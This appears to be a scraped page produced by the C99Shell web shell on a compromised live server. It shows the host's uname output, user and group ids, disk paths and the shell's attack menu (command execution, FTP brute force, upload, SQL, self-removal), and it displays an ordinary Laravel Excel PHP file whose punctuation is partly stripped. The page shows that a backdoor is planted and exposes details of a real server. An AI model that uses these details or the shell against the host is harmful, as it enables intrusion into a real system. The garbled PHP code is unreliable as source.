!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/maatwebsite/excel/src/Imports/   drwxr-xr-x
Free 28.52 GB of 117.98 GB (24.17%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     HeadingRowFormatter.php (2.31 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Maatwebsite\Excel\Imports;

use 
Illuminate\Support\Collection;
use 
Illuminate\Support\Str;
use 
InvalidArgumentException;

class 
HeadingRowFormatter
{
    
/**
     * @const string
     */
    
const FORMATTER_NONE 'none';

    
/**
     * @const string
     */
    
const FORMATTER_SLUG 'slug';

    
/**
     * @var string
     */
    
protected static $formatter;

    
/**
     * @var callable[]
     */
    
protected static $customFormatters = [];

    
/**
     * @var array
     */
    
protected static $defaultFormatters = [
        
self::FORMATTER_NONE,
        
self::FORMATTER_SLUG,
    ];

    
/**
     * @param  array  $headings
     * @return array
     */
    
public static function format(array $headings): array
    {
        return (new 
Collection($headings))->map(function ($value$key) {
            return static::
callFormatter($value$key);
        })->
toArray();
    }

    
/**
     * @param  string  $name
     */
    
public static function default(string $name null)
    {
        if (
null !== $name && !isset(static::$customFormatters[$name]) && !in_array($name, static::$defaultFormatterstrue)) {
            throw new 
InvalidArgumentException(sprintf('Formatter "%s" does not exist'$name));
        }

        static::
$formatter $name;
    }

    
/**
     * @param  string  $name
     * @param  callable  $formatter
     */
    
public static function extend(string $name, callable $formatter)
    {
        static::
$customFormatters[$name] = $formatter;
    }

    
/**
     * Reset the formatter.
     */
    
public static function reset()
    {
        static::default();
    }

    
/**
     * @param  mixed  $value
     * @return mixed
     */
    
protected static function callFormatter($value$key=null)
    {
        static::
$formatter = static::$formatter ?? config('excel.imports.heading_row.formatter'self::FORMATTER_SLUG);

        
// Call custom formatter
        
if (isset(static::$customFormatters[static::$formatter])) {
            
$formatter = static::$customFormatters[static::$formatter];

            return 
$formatter($value$key);
        }

        if (empty(
$value)) {
            return 
$key;
        }

        if (static::
$formatter === self::FORMATTER_SLUG) {
            return 
Str::slug($value'_');
        }

        
// No formatter (FORMATTER_NONE)
        
return $value;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0033 ]--